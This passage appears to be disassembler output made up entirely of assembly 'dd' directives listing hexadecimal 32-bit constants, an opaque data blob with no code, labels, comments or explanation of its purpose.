		dd 3E3C9Fh, 0D102EAC1h,	1CA81E2h, 1E9129DAh, 93A153E9h
		dd 501E627h, 7D073526h,	9FFDDBF4h, 5668F590h, 12412C59h
		dd 864FD411h, 0D00BDCEAh, 0E503D55Ah, 0FC4B2255h, 870739F2h
		dd 0EE5F635Bh, 0AD766DA9h, 0A913AEBBh, 5AF02881h, 0BCE8535Bh
		dd 13B2ACDCh, 0A87BAB68h, 8337D310h, 0A3A82D85h, 9064A9Fh
		dd 7B47C0C1h, 0C89511F6h, 99DA792Dh, 9640A724h,	62C297Bh
		dd 2009CF73h, 5E95DF8Fh, 1C026805h, 4E184AF3h, 832C10CDh
		dd 4D0281Dh, 0CC09A12Ch, 0A21AD775h, 0FD87EFA0h, 3174D7F7h
		dd 0E93CEFE4h, 8434CDF9h, 0E8127C1Dh, 52E314A6h, 0D3DF50A8h
		dd 0C04D60FEh, 2D1B580Ch, 0FC4EE8F1h, 3D301F33h, 8822029h
		dd 0F1017C47h, 0EDA05B5h, 0F6DDD842h, 17A4607Dh, 0E6FA0980h
		dd 1470A59h, 6D66856h, 0D9747EF4h, 18593731h, 57FF5626h
		dd 0C015EB1Eh, 0F329AD45h, 497A91F3h, 825B1DA7h, 0C4A7B52Dh
		dd 0B205D2C2h, 19F3A27Fh, 9A75951h, 2F5ADE01h, 333ED028h
		dd 0B5B009E4h, 6835C294h, 4C979FAEh, 2B3281D0h,	0B6914BD9h
		dd 27EF02F8h, 0DD1C74DDh, 280BCDA2h, 2D2D394Ch,	10DC648h
		dd 3353126Ch, 0E0EDD15Dh, 0EBBB398Dh, 796B0202h, 757E78h
		dd 0EAB18CF6h, 0F52521A7h, 6710575Eh, 0AEB22EE9h, 0EB0F6090h
		dd 69F328C8h, 58092315h, 8D06D589h, 902838EDh, 142309A8h
		dd 0E3011A72h, 0F7CF05D9h, 273D0C05h, 0DEC24466h, 90D10537h
		dd 0A4653A82h, 127958h,	2F732DD7h, 0BDB0A2E9h, 80AB20C7h
		dd 2B86E940h, 70A79901h
		dd 2AD64EFDh, 80C68EE8h, 52BD1453h, 0C2CD5EA2h,	6FD42C1h
		dd 4098555Eh, 0C802FEB2h, 408E8C0h, 92E60A9h, 3C3B9A9Fh
		dd 0B81313F2h, 0ECCF29F6h, 17C0E82Dh, 0D17AA1CFh, 36F4A041h
		dd 0AFBE0226h, 295FFE89h, 0D1C789h, 7A2F4460h, 0B100977Dh
		dd 946D5F05h, 6CE9771Ch, 272572E9h, 0F54B8B89h,	3EA89717h
		dd 20306A41h, 2B91602Fh, 8C28BACAh, 0F2020C76h,	0EFCCFEBBh
		dd 0C0367C01h, 90BBE56h, 0C1394704h, 0B1C505EEh, 82E94AD3h
		dd 968000Fh, 58E45303h,	2C24DF90h, 29C0F372h, 2603367h
		dd 625BAE05h, 0D7484Ch,	430117B9h, 3250E07h, 9F3E6132h
		dd 3CCE05F9h, 402DF989h, 9349AAE6h, 0A6680953h,	0C28B763Eh
		dd 0F5802F92h, 51D604ACh, 61E3B52Ch, 0B32CC105h, 0B931DAFh
		dd 7490EEE9h, 475B5968h, 0BA36BACCh, 0A4314EF2h, 0E741FBCEh
		dd 1CD6722Eh, 669A6F02h, 0BA5B0720h, 2078543Ch,	5366EA81h
		dd 294FAB0Ah, 8209BFAh,	0A7980178h, 0C2838E75h,	81B971EBh
		dd 0E268C329h, 0DBA14D53h, 8451BBC8h, 263A4464h, 3C62CF97h
		dd 0A33B7FA4h, 174CFD9h, 3D6CEAC0h, 28D8B50Eh, 12E089FFh
		dd 0F3F61714h, 6F013E2Ch, 97685140h, 970B323h, 53664BECh
		dd 8B483B2Eh, 973CBF01h, 7B20C89Ah, 0CB620E47h,	10D2017Dh
		dd 0B84B0894h, 1307A6C7h, 32473B68h, 48505768h,	0AA62D609h
		dd 0EE9A0521h, 0C0E00712h, 0EDD15F78h, 0E5F8969Ch, 5C601C13h
		dd 0B1C430EEh, 0A83168B6h, 0D664E57Fh, 0EC200B65h, 553A2E6Bh
		dd 9DA20849h, 2B3A4925h, 6D304F21h, 0F153530Eh,	6809FE49h
		dd 0C3DC3A35h, 5F088EE2h, 9168BFB8h, 0DABC234Bh, 0CBCBEEA4h
		dd 0CC77E915h, 0F7F1BC5Ah, 378EC265h, 0A029E90Bh, 5C8D7C54h
		dd 0F53F0C4Ch, 0E4E07B89h, 7A6C2E70h, 0AC1A1379h, 0F75C2C31h
		dd 2EB6150Dh, 87B8C87Bh, 133AA241h, 68F18CE3h, 736F2837h
		dd 8DAECFC4h, 2933618Ch, 201C20BBh, 302CE6DDh, 9E1A11D5h
		dd 5945FC0Eh, 6C627E59h, 8FA784D1h, 0C04AD8AFh,	0D8214960h
		dd 0F036912Dh, 0F85B5A47h, 9FB8B4B9h, 22766809h, 70858679h
		dd 2DAB0148h, 288282DCh, 0F53A7A45h, 5D6B2183h,	1A3F3D49h
		dd 2115CCDh, 201FBAF7h,	678048C2h, 27EADD4Ah, 3B358A38h
		dd 2C2A10EFh, 785F0234h, 0C15D44C1h, 0C547EA46h, 84E415h
		dd 5BF84282h, 5793BD8Bh, 68EB6005h, 1CB60EC3h, 12B35D6Bh
		dd 9BDAAED4h, 0CA738F25h, 680439ABh, 8BD877B8h,	53024032h
		dd 1E1ABB00h, 0DA293A58h, 96A4A55Bh, 0D19004Ah,	2148097Eh
		dd 46E9F20Ah, 0C14228E7h, 341A7D39h, 2FAFEC7Fh,	0DEEFF46Ch
		dd 57254927h, 0DE7E2BADh, 0D532AC81h, 0EF204307h, 0F65F754Eh
		dd 1AAD201h, 0C56DCD22h, 0F9817E28h, 0DA3A5718h, 24035C97h
		dd 53436BD5h, 0F988F9B7h, 0FCC05BD8h, 806CE05h,	0F22322A9h
		dd 0D2F0E5BBh, 0DE09B858h, 42E1661Fh, 0A4097F1Ah, 0ADAEC082h
		dd 7381C725h, 0B774BD1h, 0CA55654Ch, 857FE72Ah,	0E73438C8h
		dd 0A5905A5Fh, 46CD6801h, 7F5F2E23h, 432F8A02h,	81E6501h
		dd 80078754h, 13820CEBh, 5DA26A9Ch, 3EF6395Ah, 5C48C3BAh
		dd 40E889A6h, 4CE6C15Bh, 441CCB08h, 34FF2511h, 15C2EFCh
		dd 0DD7A4CB5h, 0A10D0C93h, 973203Ch, 60440288h,	0C3E8D2AAh
		dd 0F6AE81C0h, 4803C082h, 95F19AF2h, 874F5C5Eh,	7F991F4Bh
		dd 0B2F73C1Bh, 0EF668A8Eh, 0C829FD5Eh, 0F376740h, 0E9661767h
		dd 5FC2E83Bh, 0BAF4DFEDh, 49E9E7D8h, 0A84FD69Ah, 10AD4AD2h
		dd 16867918h, 2C138D0Dh, 0D004103Ah, 7DCDFF88h,	3B8C2D78h
		dd 0DA4CF72Fh, 8FF22E1Ch, 0A5B8CA09h, 0AE56E61Ch, 8A9F33F2h
		dd 80C7E072h, 4A0A2077h, 0AEB77836h, 8E280A64h,	2ABDEA7h
		dd 10561270h, 0D7DA3351h, 262DE9CCh, 57C22BB7h,	82FD71BAh
		dd 9B0A17A4h, 0C0B9C3FEh, 0C35A70F9h, 1338D3DAh, 0B55182CDh
		dd 9AC139F8h, 2D24179Eh, 0AB0C386Ch, 4F701C79h,	0C780A8BEh
		dd 3F0901A3h, 0CA3EC552h, 0D69B498Ch, 0B3072F6h, 58106E6h
		dd 0F2B1C4C6h, 0BBFD2C2Ch, 3C7D78B7h, 0F3A7E937h, 4144139Ah
		dd 0C2EB14EDh, 18E31065h, 4C749ADDh, 0E46B18CFh, 0D65DE865h
		dd 6865402Ch, 45CD6DBDh, 0B9552F4h, 90C258A3h, 285B173Ah
		dd 0BB8985C8h, 4E36B1C7h, 0C9735280h, 3C575089h, 590B2D66h
		dd 0BD0690B0h, 1496B680h, 833E8468h, 22D3B3C6h,	329401E2h
		dd 0DD1DF4E2h, 0B1FC839Ch, 0F4013E2Fh, 7B79D1C4h, 0D95D0709h
		dd 0BEE64F1Eh, 0B91C48F9h, 4C261AFBh, 2DD85608h, 3AC1C751h
		dd 0ED2F0120h, 6E88814Ah, 0F54025EAh, 0A1DC5E10h, 0EC45ACD2h
		dd 7CEEFB24h, 0BF29689Fh, 48BC8967h, 52597675h,	2568A0B6h
		dd 0A3539D51h, 0BD555740h, 9E3D1811h, 27D2CE6Dh, 0D0F5626h
		dd 9BD90E47h, 8E7FC302h, 30BF0A3Bh, 4E5BE74h, 0A6010A66h
		dd 23247B18h, 0CF94E705h, 0DC5EB2CDh, 0F4310C88h, 0EAEEE7A3h
		dd 3801292Ah, 2B2AE20h,	3785F581h, 32408891h, 1396638h
		dd 2853482Ah, 295C08BAh, 0BB3D1CDAh, 0D5C9B226h, 7B55267h
		dd 0EB838904h, 982EEA16h, 0FF156812h, 7B54C732h, 0E730BFCh
		dd 1A2FEEC6h, 0BFBFC780h, 0CA707E92h, 789129Eh,	0D285DBA2h
		dd 0E4BCE880h, 97EFA4F4h, 16DD138Bh, 0B8500E6Dh, 66856DABh
		dd 2D90BF40h, 9D6EAFE9h, 26305751h, 0B13B29h, 41590558h
		dd 86354A20h, 0A2D17C13h, 9A7557E0h, 4285BE10h,	0EA4C2C8Fh
		dd 2FBE6816h, 7018228Ch, 0B22AE13Bh, 24469435h,	4C1371C5h
		dd 138541BAh, 577FFF33h, 448A8FE5h, 0D3E9430Ch,	6F24A1E5h
		dd 64C58EA2h, 0DE2E002Dh, 81269907h, 0D8E3ED07h, 0EE25A729h
		dd 4CE163FAh, 20198E8Dh, 21E9141Ch, 0F3A5D584h,	1B1014Eh
		dd 5041E980h, 0EFAF39CDh, 2AEF4000h, 42529E63h,	0D3761098h
		dd 4F29680Ah, 795A425Dh, 0DCC53005h, 0C9424CAFh, 1E98F15Ch
		dd 0F729165Ah, 2AB3724h, 0E958571Eh, 927DBB20h,	5BEB6032h
		dd 7F98A214h, 1EA43F8Ch, 25AC1079h, 655F8A82h, 2DE9067Bh
		dd 0BA072E15h, 19791AA0h, 0D00DA4h, 9276F768h, 3C23053h
		dd 6AABF3A1h, 0D82CB22Dh, 6B704105h, 71A17287h,	0C27B097Ch
		dd 0C7518974h, 0B2AD5213h, 0CD57E213h, 6C0EC4E1h, 2DEA3D50h
		dd 6FBC7403h, 2E5A9E9h,	4740E171h, 9C40320Ah, 11B4FEC4h
		dd 16C55408h, 8A1AEB29h, 8BF180B5h, 0B41DD1ECh,	0F6612F90h
		dd 0BAC050A2h, 8A5C6B25h, 0A0C2022Dh, 7D0A8223h, 495D0A05h
		dd 9E595EAFh, 49B0DF69h, 5E04BA16h, 0A39CE957h,	201937A3h
		dd 3834F9D2h, 1F81B5B7h, 0A26AAFCFh, 0D8EED278h, 232E9C5h
		dd 804A0E6Ch, 4E298590h, 0EA213F7Ah, 1C5AF919h,	9BF7131h
		dd 68615838h, 0DA69F424h, 0F273D8C1h, 9ABC1620h, 0BBF8BDD7h
		dd 2F7B5A9Dh, 1E5E5AD3h, 9D7CA370h, 54C468D9h, 4B073F91h
		dd 8A5E8266h, 13674A45h, 0EA011BF2h, 9FC8FDA4h,	0AF24B6B0h
		dd 0CF0B307Ch, 446776E1h, 0C2D8EB5Ch, 13B34B98h, 0D209A269h
		dd 6CFC9BAh, 0F70FFEF8h, 0D61FE10Fh, 0A182134h,	97EE40Fh
		dd 53E90DEEh, 25029370h, 1884108h, 1E716048h, 1D6D0139h
		dd 19F6CA81h, 2BE9E430h, 5AF2CD2h, 1D57550Bh, 28585087h
		dd 0F500ED46h, 0D299C2Ch, 64B35D45h, 0D8152274h, 0A64147F6h
		dd 557E4930h, 0F2E00E6Ah, 1BA81756h, 53DCAC59h,	10D08153h
		dd 0B1606675h, 1D0F168Bh, 34CAD4Fh, 0B61449C5h,	0B090FF67h
		dd 976BB1B9h, 9C801FF8h, 912544E3h, 54C634Ah, 9343E0EAh
		dd 2A87EF57h, 0C133A6F0h
		dd 60379E2h, 70D01CF2h,	7E043C0Eh, 29645124h, 1C780109h
		dd 3EE90B80h, 0B9C340B7h, 3A6500E3h, 0CDF18173h, 506B7803h
		dd 314156D0h, 0E1A198C2h, 7CAD2CCEh, 9DC29D28h,	7E1158BDh
		dd 1F664968h, 44C30B12h, 0AF5BDD60h, 0EDDFCFF0h, 0D77FA526h
		dd 97BAAD38h, 23F5C51Ch, 225C8080h, 0F0794EEEh,	102F68D4h
		dd 0C9BA987Ch, 0CB5480Bh, 815A2924h, 0C416CE68h, 38A52133h
		dd 4A3F4C66h, 30E96E2Ch, 58222DF5h, 1BF0C229h, 8028FE4Ch
		dd 149040F7h, 1E109F59h, 40AA788Dh, 17E9B082h, 0FE16FC74h
		dd 0FD821DEFh, 28D77118h, 2D2539BEh, 98E2D802h,	0FFD207Eh
		dd 9DE5585Dh, 5DD930C9h, 280B80E5h, 5AA4D6CBh, 0D30BB485h
		dd 0F4B9F2FEh, 0B00E8327h, 82D9B33Ch, 92B077C3h, 22CB2EC8h
		dd 400A7540h, 25EFA669h, 56EA2A5Ah, 58E3BE05h, 0B08276C8h
		dd 2F26FA37h, 0FB4663DBh, 29E5E680h, 0DE956B77h, 0CBA8172h
		dd 0E808A212h, 14A1DA7h, 163A019Dh, 87242DCCh, 95C1D50h
		dd 7E193503h, 0FD1BD0Bh, 5026E962h, 0EE017624h,	0E21609Ah
		dd 0F7EF875Fh, 0A408D56Fh, 8DCB8E3Fh, 2FCB0C6Fh, 39BAF6D6h
		dd 0C8C39EB0h, 5138B6E4h, 448B6ACFh, 0F5034825h, 34A98ABDh
		dd 38C6E97Ah, 0D7B85FB7h, 9DB5EAE4h, 3BD8E13Ah,	21D1C40Dh
		dd 1E33AC20h, 0CBB11536h, 1D2BFCE4h, 43725C23h,	0FB5DD73Fh
		dd 0BB017C9Eh, 62137B5Ch, 0FC860D3Eh, 0EAB65596h, 5E68C802h
		dd 613A5467h, 41839B08h, 266C8496h, 5DC606A0h, 0EF6E4405h
		dd 22B2AB04h, 0EF2110h,	5FF56CBAh, 96D701FEh, 94868A1Ch
		dd 81A04FBBh, 21042AF6h, 0F331050Bh, 5F09FF5Eh,	679EA587h
		dd 7BD8DB90h, 138CCE9h,	4161DA4Ch, 76F06A08h, 602981B1h
		dd 0AC9245B3h, 50E5E48h, 2141024Dh, 2A685EAh, 0F4252C54h
		dd 3CD4D861h, 0D28D4DEDh, 68AB42ABh, 20540434h,	0BF2B6C69h
		dd 4B082AE0h, 290C8991h, 7CC00C35h, 0CAFE3DE2h,	0D8BD3013h
		dd 13B0EE82h, 0D0595228h, 0D312DE5Fh, 5D003212h, 75647D1Ch
		dd 0C1D713F7h, 0E7CF03EFh, 0ED314FEh, 0D9F669CFh, 220B8400h
		dd 6BC7E90Ah, 235762E3h, 0B7D7ECCAh, 4112BE7Fh,	13908BB4h
		dd 0F4E4F80Fh, 693AC6F2h, 1A4ABC74h, 0FD2830FAh, 78F69194h
		dd 0BF80B691h, 46C4733Dh, 80CF0B81h, 4001A538h,	300F55EFh
		dd 0EC2FE979h, 3B62205Fh, 2F359C6Fh, 58B0D521h,	2E4846CDh
		dd 89C940F5h, 78210614h, 2790E8Eh, 20CFD4BCh, 51592F38h
		dd 504D21A2h, 0B84CB790h, 0FB3E6082h, 0C130E8B4h, 0C5584E0Ch
		dd 29B2700Bh, 1C34217Dh, 0D482F601h, 369ECF8h, 252A6EEBh
		dd 6A880506h, 0A0B80357h, 8B95128h, 42AB2D07h, 0C8D75CF6h
		dd 0EE3207BAh, 607A78BBh, 6866DE30h, 3FBC138Ah,	53E88887h
		dd 0FD54D737h, 71A15581h, 1D3EC05h, 2C610E06h, 4E9ECA01h
		dd 0C412AEF0h, 2837AF7Ch, 2C626580h, 32E9094Bh,	46E7013Dh
		dd 305A2901h, 813A615Bh, 2E8D6C9h, 61457589h, 4E06FEA6h
		dd 60C2F63h, 36E98CAh, 0CB091801h, 1C466Fh, 6FEF12Bh, 69C197F6h
		dd 53722A51h, 4B55B5Ch,	0ACE180D5h, 6E9B103Fh, 5F4DB84Eh
		dd 6D8080ACh, 0E93A51B2h, 48F00227h, 80984C20h,	0E0E2C0FEh
		dd 0B13B51FCh, 8E18204h, 0D1797368h, 1EF933Eh, 81E988C6h
		dd 76383842h, 5716A84Fh, 59CD6221h, 4AB3986Ah, 5C5A8CAAh
		dd 0D732D012h, 227E3309h, 96F9899Ch, 591B099h, 0E3331441h
		dd 0ECA594E9h, 0E9C1343Fh, 299F8EEEh, 0E71DC412h, 3240C9D7h
		dd 0D4664B8h, 93A9022h,	56EA28D3h, 2D338057h, 4B9165ACh
		dd 0FC8C0706h, 0C507081Ah, 6B7239FAh, 3F16C14Dh, 7B3A6800h
		dd 5B79F8BEh, 7C4EB63Eh, 0BC0EF980h, 4C096B4Ah,	880EE4F8h
		dd 8FD6F6CEh, 0FAE264F1h, 0EA315C01h, 94DC205Dh, 6D3E4209h
		dd 57DC8929h, 250B4228h, 0D759CB56h, 0E72FB965h, 0DA3861B6h
		dd 170DC6Dh, 0B3454FC1h, 425D2786h, 0D396FD34h,	68BA18FEh
		dd 1FEAE7A0h, 9C6A609h,	63E4C8D9h, 0E90B9E76h, 2BD96068h
		dd 0BA06B380h, 525B29A5h, 685A0D7Dh, 0B45B1040h, 0EC1F8023h
		dd 1C9BE9FFh, 0F75ADADBh, 65977014h, 9919A5B6h,	18126A91h
		dd 0EA88E1A6h, 34786841h, 9682F22Bh, 55AC3DEEh,	1512AF02h
		dd 0E91DDCABh, 41C2524Fh, 4148A2BDh, 0B6B3FF9Fh, 58ADE085h
		dd 9CC30501h, 0C5318AD0h, 0FE891229h, 59B52BF0h, 0E950E069h
		dd 5E8A458Fh, 0D4EF0272h, 0FA405964h, 7582DED6h, 0E74F1CF0h
		dd 685112C1h, 3C6B28C1h, 570359AAh, 38F26850h, 0A69687h
		dd 5BAF32E4h, 0E95A6235h, 0E8D1231Fh, 10672A03h, 2C86CFA4h
		dd 1450B7D4h, 0A313C590h, 45BB8468h, 57249B34h,	55DBF83h
		dd 56E55F5Dh, 0E90241D9h, 0C5A47B2Ah, 0E86041F5h, 99DE5547h
		dd 174AAECCh, 2842400Fh, 748AC2CEh, 0CCFE0323h,	76EF1CE9h
		dd 98B920EFh, 58C13112h, 3CCE7700h, 0E8050D21h,	0B0C8754Ah
		dd 9F029851h, 8E53E089h, 5A1F838Bh, 7E62B93h, 556806E8h
		dd 2625973Eh, 5A9E673h,	0DA64FBBFh, 2CDD1D20h, 277E176Ah
		dd 6ACF9042h, 0CC16385h, 9030D6F3h, 5112CB3Ch, 26930252h
		dd 0FC45714Bh, 2FF35CB0h, 0E9070D88h, 30A034CFh, 72EAB4D0h
		dd 1BBB5903h, 8C314976h, 98DEFCB0h, 38620E3h, 0FB4B5A5Eh
		dd 7D72424Ch, 0B394BAE0h, 2964AA97h, 970BC72Ch,	0C9FFC80h
		dd 54ED943Fh, 83C04097h, 5E30FDC7h, 4C270066h, 81EED15Eh
		dd 313EF6E6h, 60E98C1Bh, 2CD8B9C9h, 0AEBF42Ch, 17E42ED7h
		dd 0FE8BD81Eh, 6807A4BCh, 5F0918E3h, 5B5F5ECEh,	539F19BDh
		dd 0D318A9EFh, 0D02F44BFh, 9992EAEBh, 141F77F8h, 250DE909h
		dd 25805838h, 0E5360B38h, 0F12F90F1h, 288A6A0Ch, 16575516h
		dd 2A6FF101h, 0F9922FF2h, 6D1780A7h, 5CF775FFh,	0ED1CB4D9h
		dd 0E98A0492h, 16FFFC7Ah, 25981C33h, 0BEFEC152h, 2B74A86Ch
		dd 0E34F5CF0h, 6B776F28h, 0CCE0A004h, 2A73EE80h, 9803E63Dh
		dd 0C6F7BE3Ch, 5B85B050h, 40BCE93Ah, 0CA2DE908h, 8F390932h
		dd 0F5A8852h, 0A1B78952h, 5E822D1Ah, 0A8124CCBh, 4263AE07h
		dd 0D0E4DA53h, 2F60F715h, 0BCE9BDA6h, 3B88F9F8h, 0C0E99910h
		dd 556EED81h, 0B07C5A54h, 430083F8h, 0EBBA2332h, 5C2DE32Fh
		dd 2913F031h, 431119D5h, 1DA82F5Ch, 408E2FC5h, 2865F683h
		dd 88645AF3h, 0B2EF8282h, 40FE51D9h, 0E848959Dh, 4FAD574Bh
		dd 4659C502h, 4753E65h,	0F492501Fh, 4EE6D066h, 0EBA0C561h
		dd 5D78042Ah, 0B0126A7Dh, 0CC0FAA05h, 11D36675h, 48BF0416h
		dd 0C471247Bh, 0C59597A5h, 4D8501FDh, 837A9078h, 8A473790h
		dd 1818052Bh, 0CB674604h, 98E917A7h, 573F2E87h,	0C92672EBh
		dd 6D92AC78h, 9C6F9D5Dh, 32EFF3D3h, 2BC05BBBh, 3E327EC3h
		dd 88EBACECh, 5D1508B2h, 8A8C96FFh, 0A12725E9h,	372F5BA0h
		dd 9ACD4DD8h, 34D5F216h, 0ADA0812Fh, 0F70EE42Dh, 0EE052C05h
		dd 0C7EFFA5Ah, 0CB66CBFCh, 0DF1F9E31h, 44AD1AE3h, 39C27956h
		dd 65DCFC7Eh, 0D374FC5Ah, 4A9AFB00h, 2D680BDAh,	0B986744h
		dd 0A32D705Ch, 892CF402h, 101ADEFBh, 0B820B35Ah, 28881387h
		dd 2BC3A558h, 4B3DD8A4h, 0C9638C27h, 80C41F3Dh,	65E38143h
		dd 0A03B9C57h, 27173C9Fh, 91403984h, 215FCD68h,	0E4316834h
		dd 91074C1Ch, 0C1622CB7h, 4DA92EC8h, 356FDB4h, 36E9F0B3h
		dd 0BA413B94h, 6F01299Ch, 0F57BD32h, 8022C5EDh,	9D400AE2h
		dd 2D7F16B1h, 2F03A133h, 0F2B54849h, 2EA2E40h, 0CD66E2BDh
		dd 41A3ABE8h
		dd 0A6305D28h, 0ADCB5221h, 0F7EC0848h, 9F06C497h, 6812F9F2h
		dd 0D8C94D34h, 60A8882h, 536061E8h, 4A1FCE70h, 7F16E932h
		dd 35D4ECADh, 0F325A201h, 70D70122h, 0F14BD055h, 975807D8h
		dd 450C3A96h, 72164A1Bh, 0F90DD041h, 917BCD45h,	893314FDh
		dd 0C6511AE3h, 6DC709E3h, 32EA6F29h, 8AC18E0Eh,	6B2435A4h
		dd 62FFAEC5h, 9690543h,	24CA6059h, 9F00CD99h, 68221041h
		dd 0C724836h, 3C06B0DFh, 595BBF20h, 702D8E1h, 35DC005Eh
		dd 71B8427Dh, 0FF39A9BDh, 0C6E93490h, 819B0BB2h, 0F5480549h
		dd 0EA5E20EAh, 391815B8h, 0A3BC587Ch, 1E165B79h, 5A2577D0h
		dd 4568090Bh, 36FBFFCh,	22E34FB0h, 0F7041258h, 57FE87DEh
		dd 0A34A91ABh, 761AADF6h, 0F3131B8Eh, 0DCA443E2h, 0E8C2E559h
		dd 64B7A979h, 4845B546h, 499C2D01h, 6E3D3DBCh, 0BCE34F7Eh
		dd 3A05C087h, 0FC6B8F41h, 407E4FEEh, 4A8C31Ch, 0D0904CD9h
		dd 7F788D0Bh, 0D6E88476h, 99D0E34Bh, 30393F13h,	0D22C00Dh
		dd 59E98A20h, 0E64B06C8h, 0D828122Eh, 7E20372Dh, 0F9CBCE37h
		dd 91921EEEh, 800DD056h, 71FBBA0Eh, 1C8164CBh, 925A14F2h
		dd 909C126Ch, 0F56FC3BDh, 89C7040Ch, 74CFC6DFh,	134B7CC4h
		dd 0FDE872E9h, 26C14C17h, 68824F7Eh, 5D2B0F67h,	2860C868h
		dd 895A1D7Bh, 4E6012F6h, 6AFB785Fh, 98F4D2BDh, 0F0C7778Ah
		dd 212217A5h, 0C85AE0F8h, 54630E0Ah, 6525CBE9h,	612C9027h
		dd 8C96E961h, 5668BD51h, 2E18D59h, 30FE8D3Eh, 0D24159B3h
		dd 0DC65C07Ah, 4A4FCA2Ch, 7534F8D2h, 355C510Bh,	0BC58756h
		dd 78517D38h, 8E895EA5h, 251C5B7Bh, 5552847Ch, 2EBF9C49h
		dd 41FB4916h, 0E2392F68h, 0E40C8275h, 43094829h, 372A3AFCh
		dd 41BE3AD4h, 0FFC9F99Ah, 0AA529594h, 0A3D184D8h, 66AD28E2h
		dd 6DDA2484h, 0F1BA58D9h, 0E1D830B5h, 0A27BB7A0h, 7E0393BDh
		dd 40FFD38Ch, 1285DDAh,	3B09E3F0h, 843E9967h, 0A1E7197Bh
		dd 0BDE1E85Ah, 9005736Ch, 0AD73E825h, 74FA04ECh, 42EA19ADh
		dd 0DA7A9946h, 5A79C340h, 6686D782h, 0E5065BC5h, 49F934D3h
		dd 0F28F0766h, 412D13F8h, 7462F456h, 0F641B1C8h, 6CE0FFDEh
		dd 0C02836C1h, 3F449643h, 0EFCC90EBh, 3B50CDh, 649FD400h
		dd 134BE9EDh, 300DDFC0h, 383D0078h, 0F5331135h,	0D85CF710h
		dd 48021E2Fh, 62967BC0h, 0B253E908h, 16554E72h,	0BB3CD49Bh
		dd 0E9C25DA6h, 0DB5FF4A6h, 1708A66Eh, 6F62EB01h, 589AA729h
		dd 0A202E21Ah, 7A7E1021h, 2EA52ABEh, 0D5E63ECFh, 9764CBFh
		dd 7A579FF6h, 387B8077h, 5A96DA44h, 0CB230D01h,	9C13E078h
		dd 7CF4714Ch, 44BB82D7h, 0FEDE6E4Dh, 57307761h,	0C1E8A593h
		dd 0DCD5F691h, 4795F585h, 0D354A771h, 68660956h, 0A2F46081h
		dd 55EC7D42h, 0F4F3B66h, 49E95184h, 89CADF5h, 41011503h
		dd 3A491668h, 0A79B2D32h, 0E4E25C98h, 0F1FF4C1Dh, 0C3003922h
		dd 0A518A357h, 55558F68h, 0B8BC3413h, 2F5F7B16h, 7F6B50Ah
		dd 0E0E85B12h, 685551E0h, 0C0358801h, 0D5F75D19h, 7736520h
		dd 89E63FCAh, 0ACC515E9h, 0A73500F8h, 21E74079h, 0FE5872C1h
		dd 1342CD0Bh, 3656E08Bh, 0DE4C379Ah, 272F38E8h,	259ADF01h
		dd 4DA086C0h, 816B6300h, 9B19D4E1h, 76E92D48h, 0C557EBC2h
		dd 132E9774h, 797DEE97h, 13ABB36Bh, 0A37E694h, 757FC182h
		dd 9AF25666h, 0F697F270h, 0D350E949h, 2E82FD4Ah, 70DB4048h
		dd 1A72E4Bh, 64CE1250h,	93395F16h, 0D97BD0D6h, 794CD74Eh
		dd 2FA38026h, 5F29414Ch, 403BA37Ch, 629F5F0Ch, 581C0070h
		dd 981C5721h, 0FEF32E39h, 688BBF4Ch, 0EAB075DFh, 3504C5BBh
		dd 0F1E3E984h, 254857A2h, 0B4E6802h, 8B55189Eh,	58F5DABDh
		dd 0A848974Fh, 9A458507h, 0E2608B41h, 912E013Dh, 5A01D517h
		dd 4B4D235Ch, 89641A9Dh, 0CD707FC8h, 95447095h,	0B93EA572h
		dd 0AAAC4A2Ch, 7F92FBA1h, 3E96B444h, 4A7D0E14h,	2D56C2BBh
		dd 7C094A89h, 10DDF90Bh, 0C4718465h, 0EE21593Fh, 0F43FBCF5h
		dd 0C5AAF1D2h, 76FA7EA0h, 5900419Fh, 3031B850h,	4FE922BFh
		dd 0AF97C564h, 0E701A2C8h, 0D76F6FD9h, 306190AAh, 8075BFEh
		dd 0DCF65AF4h, 28CCC4B0h, 1AE928E3h, 42F70434h,	0EB50851Ch
		dd 7BD957D2h, 0FB01090Bh, 49C47Ch, 0E68ACD0Ch, 4B16D2EAh
		dd 91F1B9A4h, 31125B08h, 441B4F0h, 66FFD1EFh, 0C647944Fh
		dd 0F5DC9893h, 0B0755079h, 0C94A4F6Ch, 349F6F8Fh, 4114944Ah
		dd 90646826h, 3158F4BBh, 3B89CDFBh, 0D3DE2EF2h,	0B21EFCEBh
		dd 0C092494Ah, 0EE11DE3Ch, 0E3EA026Ch, 77B00CD3h, 1173353h
		dd 2F720388h, 6CA666Ch,	0B25D0804h, 7C02CB7Eh, 13269F4h
		dd 2A51A561h, 0E789831h, 5EB0CA68h, 0FDB05257h,	0DFB3B06h
		dd 170B94BFh, 155AD731h, 74593385h, 0A57CA897h,	6566AD01h
		dd 2B8969C1h, 13D840E9h, 8839F1B7h, 511DDB15h, 28808F96h
		dd 0A8480D68h, 0BE0485A0h, 695A511Eh, 838C92C0h, 26310352h
		dd 7AF5E963h, 591E1776h, 0FCE75E16h, 0AF471459h, 0B145C204h
		dd 38C4C15Ah, 83EA0523h, 2ECA6847h, 0B5007866h,	22B4508Bh
		dd 9004E4C0h, 39ECEA80h, 0EDF8007h, 0E50BDF7Ah,	4630FECCh
		dd 3EB1DFFCh, 80DB0BB3h, 7FD4FEBh, 5953C3EEh, 3AE9B0FEh
		dd 9C1BB13h, 0C0865453h, 0E51CC31Fh, 63160871h,	0B3BD4001h
		dd 0C46EEE37h, 0D2D80079h, 2928CA18h, 1DE9D30Ch, 0FC53982h
		dd 7BFF7008h, 0FAE86264h, 6F83B534h, 441EF974h,	0C2F9B7FCh
		dd 2EBC11Eh, 6D6245Fh, 0AAA47CD7h, 0E9B8C3C0h, 0ACF14FE0h
		dd 0ED74A71Dh, 4240EE16h, 46C172C9h, 0D868175Bh, 0B649A830h
		dd 38390428h, 0C729730Dh, 0B3DAF57Bh, 200048B9h, 0ED424833h
		dd 0F81D3A05h, 8EC7FA27h, 6D68020Eh, 2007EC64h,	5A5AC2ADh
		dd 2B18A9ADh, 0CA32D23h, 0B424D84Ah, 2FC829FBh,	975EABDCh
		dd 0B98009F6h, 41775948h, 17E09731h, 5E9FFF7Ah,	32F143F3h
		dd 98ED3A5Fh, 0F920AE93h, 58AA0907h, 0B139811Ch, 0E9659482h
		dd 65DFEAD1h, 10F5C909h, 0C0A73A8Ch, 19FDEA29h,	176354Bh
		dd 4B08CCD0h, 2BF20561h, 1D2855C5h, 0B9382920h,	27529219h
		dd 0BB0807EBh, 57B8623Ch, 7DF7C85Fh, 5DAB1B3h, 857934C3h
